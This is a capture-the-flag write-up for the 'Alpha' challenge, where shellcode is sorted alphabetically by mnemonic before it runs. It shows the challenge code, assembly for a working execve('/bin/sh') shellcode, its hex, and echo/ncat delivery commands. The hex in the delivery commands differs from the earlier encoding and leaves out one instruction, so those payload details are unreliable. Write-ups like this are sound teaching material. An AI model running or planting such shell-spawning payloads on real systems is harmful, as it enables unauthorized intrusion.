2025 NNS CTF - Alpha

Challenge Overview

Challenge Name: Alpha
Category: Pwn/Reverse Engineering
Difficulty: Medium

In this challenge a security measure has been put in place where user-provided shellcode is sorted alphabetically by instruction mnemonic before execution. The goal is to craft shellcode that remains functional even after this alphabetical reordering.

Code Analysis

The following code snippet is given.

from capstone import *
from pwn import *

context.update(arch="amd64", os="linux")
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.skipdata = True

def die(msg: str): sys.exit(warn(msg))

try:
    shellcode = bytes.fromhex(input(">> "))
    if not shellcode: die("Empty input")
except Exception: die("Invalid hex")

# The vulnerability: sorting instructions alphabetically!
sorted_shellcode = b"".join(bytes(i.bytes) for i in sorted(list(md.disasm(shellcode, 0)), key=lambda i: i.mnemonic or ""))

info("Shellcode before")
print(disasm(shellcode))

info("Shellcode after (●'◡'●)")
print(disasm(sorted_shellcode))

info("Running it")
with process(make_elf(sorted_shellcode, extract=False), stdin=0) as p:
    p.interactive()

The critical line is where the shellcode gets sorted:

sorted_shellcode = b"".join(bytes(i.bytes) for i in sorted(list(md.disasm(shellcode, 0)), key=lambda i: i.mnemonic or ""))

This sorts all assembly instructions alphabetically by their mnemonic (instruction name) before execution.

Attack Strategy

Understanding Alphabetical Order

Common x86-64 mnemonics in alphabetical order:
add and call cdq cmp dec inc int jmp lea mov movabs nop or pop push ret sub syscall test xor

Some important insight is that instructions with the same mnemonic maintain their relative order. This means it's possible to:

  1. Use the alphabetical ordering to our advantage
  2. Design shellcode where the "correct" execution order matches alphabetical order

Solution

To create working shellcode, I needed to craft assembly where alphabetical sorting produces valid execution flow:

Execution Order After Sorting:

  1. lea - Load Effective Address (sets up pointers)
  2. mov - Move instructions (set syscall numbers and arguments)
  3. movabs - Move Absolute (load string constants)
  4. push - Push instructions (put data on stack)
  5. syscall - System call (execute)

Shellcode Design

lea rdi, [rsp-8]                ; Point to where string will be after push
mov rax, 59                     ; execve syscall number
mov rsi, 0                      ; argv = NULL
mov rdx, 0                      ; envp = NULL
movabs rbx, 0x68732f6e69622f    ; "/bin/sh\x00" string (little endian)
push rbx                        ; Push string onto stack
syscall                         ; Execute execve("/bin/sh", NULL, NULL)

Why it works

  1. lea rdi, [rsp-8] runs first, setting up rdi to point to where the string will be
  2. mov instructions run next, setting up syscall arguments (rax=59, rsi=0, rdx=0)
  3. movabs rbx, "/bin/sh" loads the shell string into rbx
  4. push rbx puts the string on the stack at the location rdi points to
  5. syscall executes execve("/bin/sh", NULL, NULL)

The shellcode converted to hex: 488d7c24f848bb2f62696e2f73680048c7c03b00000048c7c60000000048c7c200000000530f05

Exploitat

Local Testing

echo "488d7c24f848bb2f62696e2f73680048c7c03b00000048c7c200000000530f05" | python3 chall.py

Remote Exploitation

echo "488d7c24f848bb2f62696e2f73680048c7c03b00000048c7c200000000530f05" | ncat --ssl remote-site.demo 41337

Result

The shellcode successfully:

  1. Spawns a shell (/bin/sh)
  2. Allows execution of commands
  3. Reads the flag: NNS{sh0uld_h4ve_impl3m3nt3d_b0g0sort_inst34d_9f0fbbecfc72}